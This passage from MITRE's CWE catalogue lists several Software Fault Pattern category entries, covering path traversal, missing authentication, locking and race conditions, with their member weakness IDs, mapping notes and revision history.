This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.893SFP Primary Cluster: Path Resolution
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.62UNIX Hard Link
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.64Windows Shortcut Following (.LNK)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.65Windows Hard Link
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.386Symbolic Name not Mapping to Correct Object
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Missing Authentication

Category ID: 952
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.620Unverified Password Change
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID: 953
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.422Unprotected Windows Messaging Channel ('Shatter')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.425Direct Request ('Forced Browsing')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Missing Lock

Category ID: 986
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.894SFP Primary Cluster: Synchronization
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.366Race Condition within a Thread
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.368Context Switching Race Condition
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.413Improper Resource Locking
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.414Missing Lock Check
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.543Use of Singleton Pattern Without Synchronization in a Multithreaded Context
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.567Unsynchronized Access to Shared Data in a Multithreaded Context
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.609Double-Checked Locking
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.663Use of a Non-reentrant Function in a Concurrent Context
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID: 954
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.605Multiple Binds to the Same Port
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID: 987
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.894SFP Primary Cluster: Synchronization
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.585Empty Synchronized Block
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.764Multiple Locks of a Critical Resource
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.765Multiple Unlocks of a Critical Resource
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Other Exposures

Category ID: 966
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.895SFP Primary Cluster: Information Leak
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.453Insecure Default Variable Initialization
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.487Reliance on Package-level Scope
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.492Use of Inner Class Containing Sensitive Data
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.525Use of Web Browser Cache Containing Sensitive Information
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.614Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.651Exposure of WSDL File Containing Sensitive Information
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Path Traversal

Category ID: 981
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.893SFP Primary Cluster: Path Resolution
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.24Path Traversal: '../filedir'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.25Path Traversal: '/../filedir'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.26Path Traversal: '/dir/../filename'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.27Path Traversal: 'dir/../../filename'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.28Path Traversal: '..\filedir'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.29Path Traversal: '\..\filename'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.30Path Traversal: '\dir\..\filename'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.31Path Traversal: 'dir\..\..\filename'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.32Path Traversal: '...' (Triple Dot)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.33Path Traversal: '....' (Multiple Dot)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.34Path Traversal: '....//'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.35Path Traversal: '.../...//'
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.37Path Traversal: '/absolute/pathname/here'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.38Path Traversal: '\absolute\pathname\here'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.39Path Traversal: 'C:dirname'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.40Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.42Path Equivalence: 'filename.' (Trailing Dot)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.43Path Equivalence: 'filename....' (Multiple Trailing Dot)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.44Path Equivalence: 'file.name' (Internal Dot)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.45Path Equivalence: 'file...name' (Multiple Internal Dot)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.46Path Equivalence: 'filename ' (Trailing Space)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.47Path Equivalence: ' filename' (Leading Space)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.48Path Equivalence: 'file name' (Internal Whitespace)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.49Path Equivalence: 'filename/' (Trailing Slash)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.50Path Equivalence: '//multiple/leading/slash'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.51Path Equivalence: '/multiple//internal/slash'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.52Path Equivalence: '/multiple/trailing/slash//'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.53Path Equivalence: '\multiple\\internal\backslash'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.54Path Equivalence: 'filedir\' (Trailing Backslash)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.55Path Equivalence: '/./' (Single Dot Directory)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.56Path Equivalence: 'filedir*' (Wildcard)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.57Path Equivalence: 'fakedir/../realdir/filename'
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.58Path Equivalence: Windows 8.3 Filename
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.66Improper Handling of File Names that Identify Virtual Resources
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.67Improper Handling of Windows Device Names
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.72Improper Handling of Apple HFS+ Alternate Data Stream Path
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.428Unquoted Search Path or Element
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Protocol Error

Category ID: 957
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.902SFP Primary Cluster: Channel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.353Missing Support for Integrity Check
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.435Improper Interaction Between Multiple Correctly-Behaving Entities
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.437Incomplete Model of Endpoint Features
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.757Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Race Condition Window

Category ID: 988
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.894SFP Primary Cluster: Synchronization
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.363Race Condition Enabling Link Following
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.370Missing Check for Certificate Revocation after Initial Check
